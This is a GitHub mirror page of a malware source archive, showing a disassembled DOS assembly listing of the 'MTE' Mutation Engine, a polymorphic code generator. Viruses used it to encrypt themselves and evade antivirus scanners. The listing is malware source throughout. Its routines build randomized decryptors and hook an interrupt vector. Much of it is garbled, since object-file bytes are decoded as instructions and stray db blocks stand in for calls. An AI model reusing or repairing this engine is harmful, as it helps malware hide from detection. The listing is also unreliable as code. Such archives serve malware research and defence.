13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-28 09:52:32 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.mte2.asm
2021-01-12 17:52:14 -06:00

1578 lines
33 KiB
NASM

PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ MTE ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 17-Aug-91 ÛÛ
;ÛÛ Version: ÛÛ
;ÛÛ Code type: zero start ÛÛ
;ÛÛ Passes: 9 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 0 ; (0000:0000=0E8h)
data_2e equ 0Ch ; (0000:000C=5)
data_3e equ 63h ; (0000:0063=0F6h)
data_4e equ 12Eh ; (0000:012E=0)
data_5e equ 132h ; (0000:0132=0F000h)
data_6e equ 134h ; (0000:0134=0E0h)
data_7e equ 13Ch ; (0000:013C=0E0h)
data_8e equ 150h ; (0000:0150=0E0h)
data_9e equ 559h ; (0000:0559=0)
data_10e equ 132h ; (0101:0132=70h)
data_11e equ 71h ; (5F44:0071=0FFh)
data_12e equ 0E7h ; (5F44:00E7=0FFFFh)
data_13e equ 116h ; (5F44:0116=0FFh)
data_14e equ 129h ; (5F44:0129=0FFh)
data_15e equ 359h ; (5F44:0359=0FFh)
data_26e equ 9101h ; (78CA:9101=0)
data_27e equ 23h ; (FFE7:0023=0)
data_28e equ 63h ; (FFE7:0063=0)
data_29e equ 129h ; (FFE7:0129=0)
data_30e equ 135h ; (FFE7:0135=0)
data_31e equ 136h ; (FFE7:0136=0)
data_32e equ 150h ; (FFE7:0150=0)
data_33e equ 159h ; (FFE7:0159=0)
data_34e equ 559h ; (FFE7:0559=0)
data_35e equ 3585h ; (FFE7:3585=36h)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 0
mte proc far
start:
or byte ptr [bx+di],0
pop es
db 'mte.ASM', 1Bh
db 88h, 1Fh, 00h, 00h, 00h
db 'Turbo Assembler Version 2.5'
db 0B4h, 88h, 0Fh, 00h, 40h,0E9h
db 0C9h, 93h, 12h, 17h, 07h
db 'mte.ASM_'
db 88h, 03h, 00h, 40h,0E9h, 4Ch
db 96h, 02h, 00h, 00h, 68h, 88h
db 03h, 00h, 40h,0A1h, 94h, 96h
db 0Ch, 00h, 05h, 5Fh, 54h, 45h
db 58h, 54h, 04h, 43h, 4Fh, 44h
db 45h, 96h, 98h, 07h, 00h, 48h
db 34h, 08h, 02h, 03h, 01h,0D7h
db 96h, 0Ch, 00h, 05h, 5Fh, 44h
db 41h, 54h, 41h, 04h, 44h, 41h
db 54h, 41h,0C2h, 98h, 07h, 00h
db 48h, 00h, 00h, 04h, 05h, 01h
db 0Fh, 96h, 08h, 00h, 06h, 44h
db 47h, 52h, 4Fh, 55h, 50h, 8Bh
db 9Ah, 06h, 00h, 06h,0FFh, 02h
db 0FFh, 01h, 59h, 8Ch, 14h, 00h
db 8, 'RND_INIT'
db 00h, 07h, 52h, 4Eh, 44h, 5Fh
db 47h, 45h, 54h, 00h,0B7h, 90h
db 10h, 00h, 00h, 00h, 00h, 00h
db 07h, 4Dh, 41h, 58h, 5Fh, 41h
db 44h, 44h, 00h, 02h, 00h, 49h
db 90h, 14h, 00h, 00h, 00h, 00h
db 00h, 0Bh
db 'MAX_ADD_LEN'
db 19h, 00h, 00h,0ECh, 90h, 11h
db 00h, 01h, 01h
db 0Ah, 'MUT_ENGIN'
data_16 db 45h
db 09h, 00h, 00h, 3Fh, 90h, 11h
db 00h, 00h, 00h, 00h, 00h
db 8, 'CODE_LEN4', 8
db 00h,0C2h, 90h, 0Fh, 00h, 01h
db 01h
db 8, 'CODE_TOP4', 8
db 00h,0AEh, 90h, 11h, 00h, 01h
db 01h
db 0Ah, 'CODE_START'
db 00h, 00h, 00h, 4Bh, 90h, 10h
db 00h
data_17 db 0
db 0, 0
data_18 db 0
db 07h, 4Dh
data_19 db 41h
db 58h, 5Fh, 4Ch, 45h, 4Eh
data_20 db 72h
data_21 dw 5
db 0BEh, 88h, 04h, 00h
loc_1:
inc ax
mov ds:data_26e,al ; (78CA:9101=0)
mov al,byte ptr ds:[3E8h] ; (78CA:03E8=0C3h)
add [bx+si],ax
add [di+74h],cl
inc bp
and [bx+si],dh
locloop_2:
cmp cs:[bx+si],si
loopz locloop_2 ; Loop if zf=1, cx>0
push ds
push dx
push bp
call sub_2 ; (017C)
mov bx,dx
xchg ax,bp
pop dx
pop si
pop bp
sub bx,di
push bx
push di
push cx
call sub_5 ; (0222)
pop cx
pop si
mov di,data_9e ; (0000:0559=0)
sub di,cx
push di
push dx
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
pop cx
pop dx
pop si
sub cx,dx
sub di,dx
mte endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
mov ax,ds:data_31e ; (FFE7:0136=0)
neg ax
retn
sub_1 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
push es
pop ds
add cx,16h
neg cx
and cl,0FEh
jnz loc_3 ; Jump if not zero
dec cx
dec cx
loc_3:
xchg ax,di
mov ds:data_5e,ax ; (0000:0132=0F000h)
loc_4:
add ax,cx
and al,0FEh
jnz loc_5 ; Jump if not zero
dec ax
dec ax
loc_5:
push ax
xchg ax,di
mov di,data_6e ; (0000:0134=0E0h)
stosw ; Store ax to es:[di]
xchg ax,cx
stosw ; Store ax to es:[di]
xchg ax,bp
stosw ; Store ax to es:[di]
xchg ax,si
stosw ; Store ax to es:[di]
mov cl,20h ; ' '
shl cl,cl ; Shift w/zeros fill
xor cl,20h ; ' '
mov [di-0Dh],cl
loc_6:
pop bp
push bp
push bx
call sub_3 ; (01B2)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_3:
mov di,data_7e ; (0000:013C=0E0h)
mov cx,8
mov al,0FFh
rep stosb ; Rep when cx >0 Store al to es:[di]
mov di,159h
mov bl,7
call sub_4 ; (01DD)
dec di
cmp di,159h
je loc_7 ; Jump if equal
push dx
push di
push bp
mov ax,1
call sub_6 ; (0284)
pop di
xchg ax,bp
stosw ; Store ax to es:[di]
pop di
pop dx
loc_7:
pop bx
pop ax
xor bp,bp ; Zero register
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_4:
push ax
push bx
push dx
push di
xor ax,ax ; Zero register
mov di,data_3e ; (0000:0063=0F6h)
mov cx,di
rep stosw ; Rep when cx >0 Store ax to es:[di]
mov al,4
xchg al,[di+0Ch]
push ax
mov dx,[di+0Dh]
mov di,359h
push bp
call sub_22 ; (04C3)
pop bp
call sub_19 ; (0448)
pop ax
pop di
pop dx
mov data_20,al ; (78CA:0135=72h)
and al,1
sub data_19,al ; (78CA:012F=41h)
push ax
call sub_23 ; (04CE)
pop ax
add [si-1Dh],al
xchg ax,bx
pop bx
sub ax,150h
jc loc_6 ; Jump if carry Set
jnz loc_8 ; Jump if not zero
cmp [si-12h],ax
jne loc_6 ; Jump if not equal
loc_8:
pop bx
retn
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
add cx,dx
mov dx,di
xchg ax,di
mov ax,ds:data_10e ; (0101:0132=70h)
test ax,ax
jnz loc_9 ; Jump if not zero
mov di,data_34e ; (FFE7:0559=0)
loc_9:
mov bx,data_33e ; (FFE7:0159=0)
push cx
push ax
loc_10:
cmp bx,dx
je loc_12 ; Jump if equal
dec bx
mov al,[bx]
xor al,1
cmp al,61h ; 'a'
je loc_11 ; Jump if equal
xor al,9
loc_11:
stosb ; Store al to es:[di]
inc cx
jmp short loc_10 ; (0236)
loc_12:
pop dx
pop ax
mov bx,data_32e ; (FFE7:0150=0)
test dx,dx
jz loc_13 ; Jump if zero
xchg ax,cx
mov al,0E9h
stosb ; Store al to es:[di]
mov bx,di
xchg ax,dx
stosw ; Store ax to es:[di]
mov di,data_34e ; (FFE7:0559=0)
loc_13:
test byte ptr ds:data_30e,8 ; (FFE7:0135=0)
jnz loc_14 ; Jump if not zero
neg cx
and cx,0Fh
mov al,90h
rep stosb ; Rep when cx >0 Store al to es:[di]
loc_14:
lea ax,[di-559h] ; Load effective addr
add [bx],ax
and al,0FEh
add ds:data_31e,ax ; (FFE7:0136=0)
call sub_1 ; (0176)
mov ds,bp
shr ax,1 ; Shift w/zeros fill
mov cx,ax
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_6:
push di
push ax
xor cx,cx ; Zero register
mov ds,cx
mov cx,cs
mov bx,1A3h
mov di,data_2e ; (0000:000C=5)
cli ; Disable interrupts
xchg cx,[di+2]
xchg bx,[di]
sti ; Enable interrupts
push cx
push bx
push di
push ds
push es
pop ds
push cs
mov bx,359h
call sub_8 ; (02E4)
xchg ax,bp
pop es
pop di
cli ; Disable interrupts
pop ax
stosw ; Store ax to es:[di]
pop ax
stosw ; Store ax to es:[di]
sti ; Enable interrupts
pop bx
push ds
pop es
mov di,data_28e ; (FFE7:0063=0)
xor si,si ; Zero register
mov cx,21h
loc_15:
xor ax,ax ; Zero register
repe scasw ; Rep zf=1+cx >0 Scan es:[di] for ax
jz loc_17 ; Jump if zero
mov ax,[di-2]
cmp ax,si
jb loc_15 ; Jump if below
mov dx,1
xchg ax,si
mov ax,[di+40h]
cmp ax,bx
je loc_16 ; Jump if equal
or ax,ax ; Zero ?
jnz loc_15 ; Jump if not zero
lodsb ; String [si] to al
cbw ; Convrt byte to word
xchg ax,dx
loc_16:
call sub_7 ; (02DC)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_7:
mov [si],al
inc si
dec dx
jnz loc_16 ; Jump if not zero
jmp short loc_15 ; (02BA)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_8:
push es
push bx
retf ; Return far
loc_17:
pop dx
retn
sub_5 endp
push bp
mov bp,sp
push di
push cx
push bx
push ax
mov bx,[bp+2]
mov al,[bx]
jnz loc_18 ; Jump if not zero
xchg ax,bx
mov di,offset data_16 ; (78CA:00E7=45h)
mov cx,21h
repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax
inc word ptr [di-44h]
mov al,ch
loc_18:
cbw ; Convrt byte to word
inc ax
add [bp+2],ax
pop ax
pop bx
pop cx
pop di
pop bp
iret ; Interrupt return
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
mov di,data_29e ; (FFE7:0129=0)
mov ax,101h
stosb ; Store al to es:[di]
stosw ; Store ax to es:[di]
mov ah,81h
mov ds:data_1e,ax ; (0000:0000=0E8h)
loc_19:
call sub_10 ; (0320)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_10:
xchg ax,dx
call sub_11 ; (0324)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_11:
mov bl,[di-1]
xor bh,bh ; Zero register
mov si,bx
mov cx,[si-1]
cmp ch,6
jne loc_21 ; Jump if not equal
loc_20:
or dl,1
jmp short loc_23 ; (034F)
loc_21:
cmp ch,86h
jne loc_22 ; Jump if not equal
xor cl,cl ; Zero register
inc bx
loc_22:
and al,[di+2]
cmp al,bl
jae $+22h ; Jump if above or =
shr bl,1 ; Shift w/zeros fill
jnc loc_23 ; Jump if carry=0
or cl,cl ; Zero ?
jz loc_24 ; Jump if zero
loc_23:
or dl,dl ; Zero ?
loc_24:
mov al,0
jnz loc_25 ; Jump if not zero
or bp,bp ; Zero ?
jnz loc_20 ; Jump if not zero
mov al,2
loc_25:
or ch,ch ; Zero ?
jns loc_26 ; Jump if not sign
mov [di],si
mov al,1
loc_26:
mov [si],al
jmp short loc_29 ; (0395)
xchg ax,dx
db 0D4h, 0Ch, 80h,0E5h, 80h, 74h
db 02h,0D0h,0E8h, 40h, 40h, 40h
db 8Ah,0E0h, 88h, 04h, 8Ah, 55h
db 0FEh, 42h, 8Ah,0F2h,0FEh,0C6h
db 88h, 75h,0FEh, 8Ah,0DAh,0B7h
db 00h, 8Ah,0CFh, 73h, 04h, 3Ch
db 06h, 72h, 02h
loc_27:
xchg cl,ch
loc_28:
xor ax,cx
mov [bx],ax
loc_29:
shl si,1 ; Shift w/zeros fill
mov [si+21h],dx
inc byte ptr [di-1]
mov al,[di-2]
cmp al,[di-1]
jb loc_ret_36 ; Jump if below
jmp loc_19 ; (031D)
loc_30:
dec bp
or dh,dh ; Zero ?
jns loc_42 ; Jump if not sign
mov dh,[si]
inc bp
jz loc_30 ; Jump if zero
dec bp
jnz loc_37 ; Jump if not zero
push bx
mov bx,offset ds:[2A7h] ; (78CA:02A7=7)
xchg al,dh
xlat cs:[bx] ; al=[al+[bx]] table
cmp al,86h
xchg al,dh
xchg ax,bx
mov cl,2Eh ; '.'
mov al,ds:data_30e ; (FFE7:0135=0)
jnz loc_32 ; Jump if not zero
test al,2
jnz loc_31 ; Jump if not zero
mov cl,3Eh ; '>'
loc_31:
test al,4
jmp short loc_34 ; (03DB)
loc_32:
test al,4
jnz loc_33 ; Jump if not zero
mov cl,36h ; '6'
loc_33:
test al,2
loc_34:
jz loc_35 ; Jump if zero
mov al,cl
stosb ; Store al to es:[di]
loc_35:
pop ax
call sub_14 ; (0421)
mov [si-1Ch],di
stosw ; Store ax to es:[di]
loc_ret_36:
retn
loc_37:
mov dx,bp
lea bp,[di+1] ; Load effective addr
loc_38:
stc ; Set carry flag
retn
xchg ax,[bx+si]
xchg al,ds:data_35e[si] ; (FFE7:3585=36h)
out 0Ah,ax ; port 0Ah, DMA-1 mask reg bit
idiv byte ptr [bx+si-4Eh] ; al,ah rem = ax/data
cmp dh,al
je loc_ret_36 ; Jump if equal
cmp byte ptr [si-1Dh],0FFh
jne loc_42 ; Jump if not equal
push ax
or dh,dh ; Zero ?
jz loc_39 ; Jump if zero
or al,al ; Zero ?
jnz loc_41 ; Jump if not zero
mov al,dh
loc_39:
or bp,bp ; Zero ?
jnz loc_40 ; Jump if not zero
cmp al,[si]
je loc_41 ; Jump if equal
loc_40:
pop bx
or al,90h
stosb ; Store al to es:[di]
retn
loc_41:
pop ax
loc_42:
or al,18h
xchg ax,bx
sub_9 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
stosb ; Store al to es:[di]
xchg ax,bx
mov cl,3
shl al,cl ; Shift w/zeros fill
or al,dh
stosb ; Store al to es:[di]
retn
sub_14 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_16 proc near
mov bx,ax
shr al,1 ; Shift w/zeros fill
mov cx,ax
shl cx,1 ; Shift w/zeros fill
mov di,data_27e ; (FFE7:0023=0)
loc_43:
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
jnz loc_38 ; Jump if not zero
lea si,[di-22h] ; Load effective addr
shr si,1 ; Shift w/zeros fill
cmp byte ptr [si],3
jb loc_43 ; Jump if below
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_17:
lea ax,[di-22h] ; Load effective addr
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_18:
retn
sub_16 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_19 proc near
mov al,data_18 ; (78CA:012C=0)
cbw ; Convrt byte to word
shl al,1 ; Shift w/zeros fill
call sub_16 ; (042B)
jc loc_ret_53 ; Jump if carry Set
mov ds:data_14e,al ; (5F44:0129=0FFh)
loc_44:
call sub_16 ; (042B)
jnc loc_45 ; Jump if carry=0
xor al,al ; Zero register
loc_45:
push ax
shr al,1 ; Shift w/zeros fill
mov [bx+21h],al
shr bl,1 ; Shift w/zeros fill
lahf ; Load ah from flags
mov al,[bx]
and al,7Fh
cmp al,3
jne loc_46 ; Jump if not equal
sahf ; Store ah into flags
jc loc_52 ; Jump if carry Set
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_21:
inc ax
jmp short loc_51 ; (04B7)
loc_46:
cmp al,4
jne loc_48 ; Jump if not equal
sahf ; Store ah into flags
jnc loc_47 ; Jump if carry=0
mov si,bx
mov cl,8
rol word ptr [bx+si+21h],cl ; Rotate
loc_47:
dec ax
jmp short loc_51 ; (04B7)
loc_48:
cmp al,6
jb loc_52 ; Jump if below
jnz loc_50 ; Jump if not zero
shl bl,1 ; Shift w/zeros fill
mov bl,[bx+22h]
shl bl,1 ; Shift w/zeros fill
mov si,[bx+21h]
xor ax,ax ; Zero register
mov dx,1
mov cx,ax
mov di,dx
loc_49:
mov [bx+21h],di
dec si
jz loc_52 ; Jump if zero
inc si
div si ; ax,dx rem=dx:ax/reg
push dx
mul di ; dx:ax = reg * ax
sub cx,ax
xchg cx,di
mov ax,si
xor dx,dx ; Zero register
pop si
jmp short loc_49 ; (049E)
loc_50:
xor al,0Fh
loc_51:
mov [bx],al
loc_52:
pop ax
or al,al ; Zero ?
jnz loc_44 ; Jump if not zero
shr data_17,1 ; (78CA:0129=0) Shift w/zeros fill
loc_ret_53:
retn
sub_19 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_22 proc near
mov ds:data_4e,bl ; (0000:012E=0)
push dx
push di
call sub_9 ; (0310)
pop di
pop dx
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_23:
push di
mov di,offset ds:[144h] ; (78CA:0144=0)
mov ax,0FFFFh
stosw ; Store ax to es:[di]
inc al
stosw ; Store ax to es:[di]
stosw ; Store ax to es:[di]
dec al
stosw ; Store ax to es:[di]
mov [di+3],al
mov bl,[di-23h]
push bx
push dx
;* call sub_32 ;*(0682)
db 0E8h, 9Ah, 01h
mov si,di
call sub_35 ; (06E6)
pop dx
pop bx
pop di
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_25:
push bx
inc bp
jz loc_54 ; Jump if zero
dec bp
;* jnz loc_57 ;*Jump if not zero
db 75h, 62h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_26:
inc bp
loc_54:
dec bp
inc dx
jz loc_55 ; Jump if zero
dec dx
dec bp
mov al,[si]
;* call sub_42 ;*(095B)
db 0E8h, 58h, 04h
inc bp
loc_55:
pop bx
push di
call sub_36 ; (070E)
or bp,bp ; Zero ?
jnz loc_56 ; Jump if not zero
pop cx
dec bp
mov ax,150h
xchg ax,[si-1Ch]
or dh,dh ; Zero ?
js $+22h ; Jump if sign=1
inc bp
push cx
push ax
mov al,[si+3]
and al,0B7h
cmp al,87h
jne loc_58 ; Jump if not equal
cmp bp,[si-12h]
jne loc_58 ; Jump if not equal
db 6Dh, 9Ch, 1Fh, 00h, 84h, 6Ah
db 16h, 01h, 01h, 85h, 94h, 16h
db 01h, 02h, 85h,0D8h, 16h, 01h
db 02h, 85h,0DCh, 16h, 01h, 02h
db 0C5h, 47h, 14h, 01h, 01h,0C6h
db 71h, 14h, 01h, 01h,0AEh,0A0h
db 0E7h, 03h, 01h
loc_56:
in al,3 ; port 3, DMA-1 bas&cnt ch 1
xor byte ptr [di-4],2
shl byte ptr [si+3],1 ; Shift w/zeros fill
jns loc_62 ; Jump if not sign
mov bl,0F7h
mov al,3
jmp short loc_61 ; (05A3)
cmp cx,15Ch
jne loc_59 ; Jump if not equal
sub cx,3
sub di,3
mov bl,[si]
loc_58:
xor bh,bh ; Zero register
dec byte ptr [bx+si-10h]
loc_59:
mov bx,data_8e ; (0000:0150=0E0h)
jmp short loc_65 ; (05E7)
or dh,dh ; Zero ?
jns loc_60 ; Jump if not sign
mov dh,[si]
jmp short loc_60 ; (0592)
push bp
call sub_40 ; (0737)
mov al,[si+1]
or al,90h
stosb ; Store al to es:[di]
pop ax
or dh,dh ; Zero ?
jns loc_60 ; Jump if not sign
xchg ax,dx
loc_60:
pop ax
mov bh,0FFh
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_27:
mov byte ptr [di],0CBh
retn
db 0E8h, 00h, 00h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_28:
and al,2
add al,87h
xchg ax,bx
mov al,dh
loc_61:
;* call sub_13 ;*(03D6)
db 0E8h, 30h,0FEh
loc_62:
mov al,[si]
cmp di,359h
jae loc_63 ; Jump if above or =
push ax
dec bp
xor dl,dl ; Zero register
mov dh,al
shr byte ptr [si-1Eh],1 ; Shift w/zeros fill
call sub_25 ; (04F0)
push dx
push di
call sub_21 ; (0471)
call sub_31 ; (0675)
pop di
pop dx
push cx
call sub_26 ; (04F7)
pop cx
pop ax
;* call sub_44 ;*(0984)
db 0E8h,0B7h, 03h
or ch,ch ; Zero ?
js loc_64 ; Jump if sign=1
loc_63:
or al,40h ; '@'
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
loc_64:
mov al,75h ; 'u'
stosb ; Store al to es:[di]
pop bx
pop ax
mov cx,ax
sub ax,di
dec ax
stosb ; Store al to es:[di]
or al,al ; Zero ?
js loc_65 ; Jump if sign=1
xor bx,bx ; Zero register
retn
loc_65:
call sub_27 ; (0595)
push cx
mov dx,559h
cmp di,359h
jae loc_72 ; Jump if above or =
push bx
mov bl,7
mov dx,bp
;* call sub_24 ;*(04EC)
db 0E8h,0F0h,0FEh
push di
mov di,offset ds:[158h] ; (78CA:0158=95h)
xor bx,bx ; Zero register
mov dx,di
mov cl,[si-18h]
loc_66:
shr cl,1 ; Shift w/zeros fill
pushf ; Push flags
jnc loc_67 ; Jump if carry=0
cmp bh,[bx+si-10h]
jne loc_67 ; Jump if not equal
lea ax,[bx+50h] ; Load effective addr
std ; Set direction flag
stosb ; Store al to es:[di]
loc_67:
inc bx
popf ; Pop flags
jnz loc_66 ; Jump if not zero
inc di
cmp di,dx
jae loc_70 ; Jump if above or =
cmp bh,[si-1Dh]
jne loc_68 ; Jump if not equal
mov di,dx
mov byte ptr [di],60h ; '`'
jmp short loc_70 ; (0643)
loc_68:
push di
loc_69:
call sub_29 ; (062F)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_29:
and al,7
cbw ; Convrt byte to word
xchg ax,bx
add bx,di
cmp bx,dx
ja loc_69 ; Jump if above
mov al,[di]
xchg al,[bx]
stosb ; Store al to es:[di]
cmp di,dx
jne loc_69 ; Jump if not equal
pop di
loc_70:
pop bp
mov cx,bp
sub cx,di
cmp word ptr [si-1Ah],0
je loc_71 ; Jump if equal
add cx,15Ch
sub cx,di
loc_71:
mov dx,[si-14h]
mov ax,dx
add dx,cx
add ax,[si-12h]
pop bx
cmp word ptr [si-12h],0
jne loc_73 ; Jump if not equal
loc_72:
mov ax,dx
loc_73:
call sub_30 ; (066F)
xchg ax,dx
pop dx
mov bx,[si-1Ch]
sub_22 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_30 proc near
sub ax,[si-16h]
mov [bx],ax
retn
sub_30 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_31 proc near
xor cx,cx ; Zero register
mov al,data_17 ; (78CA:0129=0)
cbw ; Convrt byte to word
xchg ax,bx
mov dx,0FFFEh
mov al,[bx]
cmp al,3
je loc_74 ; Jump if equal
cmp al,4
jne loc_ret_75 ; Jump if not equal
neg dx
loc_74:
shl bl,1 ; Shift w/zeros fill
push bx
inc bx
call sub_33 ; (0696)
pop bx
mov dx,2
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_33:
mov bl,[bx+21h]
cmp bh,[bx]
jne loc_ret_75 ; Jump if not equal
mov si,bx
add dx,[bx+si+21h]
or dl,dl ; Zero ?
jz loc_ret_75 ; Jump if zero
mov [bx+si+21h],dx
dec cx
loc_ret_75:
retn
sub_31 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_34 proc near
xor bh,bh ; Zero register
and byte ptr [bx],7Fh
mov dl,[bx]
mov ax,bx
shl bl,1 ; Shift w/zeros fill
mov bx,[bx+21h]
cmp dl,3
